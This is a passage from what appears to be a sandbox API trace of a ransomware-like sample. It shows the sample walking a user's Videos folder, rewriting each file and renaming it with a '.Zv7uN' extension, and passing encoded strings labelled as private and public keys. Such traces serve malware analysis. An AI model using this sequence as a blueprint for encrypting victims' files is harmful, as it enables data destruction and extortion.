ftLastWriteTime.dwLowDateTime=0xbd5e5e80, ftLastWriteTime.dwHighDateTime=0x1d5e5d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0087.332] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6fd7a1f0, ftCreationTime.dwHighDateTime=0x1d5d7db, ftLastAccessTime.dwLowDateTime=0xbd5e5e80, ftLastAccessTime.dwHighDateTime=0x1d5e5d9, ftLastWriteTime.dwLowDateTime=0xbd5e5e80, ftLastWriteTime.dwHighDateTime=0x1d5e5d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0087.332] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d655d90, ftCreationTime.dwHighDateTime=0x1d5d885, ftLastAccessTime.dwLowDateTime=0x8d3faca0, ftLastAccessTime.dwHighDateTime=0x1d5e709, ftLastWriteTime.dwLowDateTime=0x8d3faca0, ftLastWriteTime.dwHighDateTime=0x1d5e709, nFileSizeHigh=0x0, nFileSizeLow=0x6b77, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="CpmH5RaN7K.swf", cAlternateFileName="CPMH5R~1.SWF")) returned 1 [0087.332] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0087.332] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.332] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EvnXETH8or\\CpmH5RaN7K.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\evnxeth8or\\cpmh5ran7k.swf"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d655d90, ftCreationTime.dwHighDateTime=0x1d5d885, ftLastAccessTime.dwLowDateTime=0x8d3faca0, ftLastAccessTime.dwHighDateTime=0x1d5e709, ftLastWriteTime.dwLowDateTime=0x8d3faca0, ftLastWriteTime.dwHighDateTime=0x1d5e709, nFileSizeHigh=0x0, nFileSizeLow=0x6b77)) returned 1 [0087.332] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EvnXETH8or\\CpmH5RaN7K.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\evnxeth8or\\cpmh5ran7k.swf")) returned 0x20 [0087.332] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EvnXETH8or\\CpmH5RaN7K.swf", dwFileAttributes=0x80) returned 1 [0087.334] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0087.334] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0087.336] GetCurrentThreadId () returned 0xa30 [0087.336] GetCurrentThreadId () returned 0xa30 [0087.336] GetCurrentThreadId () returned 0xa30 [0087.337] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0087.337] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f0109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0087.337] GetCurrentThreadId () returned 0xa30 [0087.337] GetCurrentThreadId () returned 0xa30 [0087.337] GetCurrentThreadId () returned 0xa30 [0087.337] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EvnXETH8or\\CpmH5RaN7K.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\evnxeth8or\\cpmh5ran7k.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0087.338] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0087.338] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0087.338] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x6b77 [0087.338] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0087.338] ReadFile (in: hFile=0x11c, lpBuffer=0x1f08ea0, nNumberOfBytesToRead=0x6b77, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1f08ea0*, lpNumberOfBytesRead=0x18f6a0*=0x6b77, lpOverlapped=0x0) returned 1 [0087.340] CloseHandle (hObject=0x11c) returned 1 [0087.340] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EvnXETH8or\\CpmH5RaN7K.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\evnxeth8or\\cpmh5ran7k.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0087.342] WriteFile (in: hFile=0x11c, lpBuffer=0x1f10ed0*, nNumberOfBytesToWrite=0x6b77, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f10ed0*, lpNumberOfBytesWritten=0x18f6ac*=0x6b77, lpOverlapped=0x0) returned 1 [0087.345] CloseHandle (hObject=0x11c) returned 1 [0087.346] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EvnXETH8or\\CpmH5RaN7K.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\evnxeth8or\\cpmh5ran7k.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EvnXETH8or\\CpmH5RaN7K.swf.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\evnxeth8or\\cpmh5ran7k.swf.zv7un")) returned 1 [0087.347] GetCurrentThreadId () returned 0xa30 [0087.347] GetCurrentThreadId () returned 0xa30 [0087.347] GetCurrentThreadId () returned 0xa30 [0087.347] GetCurrentThreadId () returned 0xa30 [0087.347] GetCurrentThreadId () returned 0xa30 [0087.347] GetCurrentThreadId () returned 0xa30 [0087.347] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4fa210, ftCreationTime.dwHighDateTime=0x1d5de6e, ftLastAccessTime.dwLowDateTime=0xb044a660, ftLastAccessTime.dwHighDateTime=0x1d5dc6e, ftLastWriteTime.dwLowDateTime=0xb044a660, ftLastWriteTime.dwHighDateTime=0x1d5dc6e, nFileSizeHigh=0x0, nFileSizeLow=0x691d, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="cueKOlXVJh9M3Adi.mp4", cAlternateFileName="CUEKOL~1.MP4")) returned 1 [0087.347] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0087.347] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.347] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EvnXETH8or\\cueKOlXVJh9M3Adi.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\evnxeth8or\\cuekolxvjh9m3adi.mp4"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4fa210, ftCreationTime.dwHighDateTime=0x1d5de6e, ftLastAccessTime.dwLowDateTime=0xb044a660, ftLastAccessTime.dwHighDateTime=0x1d5dc6e, ftLastWriteTime.dwLowDateTime=0xb044a660, ftLastWriteTime.dwHighDateTime=0x1d5dc6e, nFileSizeHigh=0x0, nFileSizeLow=0x691d)) returned 1 [0087.347] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EvnXETH8or\\cueKOlXVJh9M3Adi.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\evnxeth8or\\cuekolxvjh9m3adi.mp4")) returned 0x20 [0087.347] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EvnXETH8or\\cueKOlXVJh9M3Adi.mp4", dwFileAttributes=0x80) returned 1 [0087.350] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWH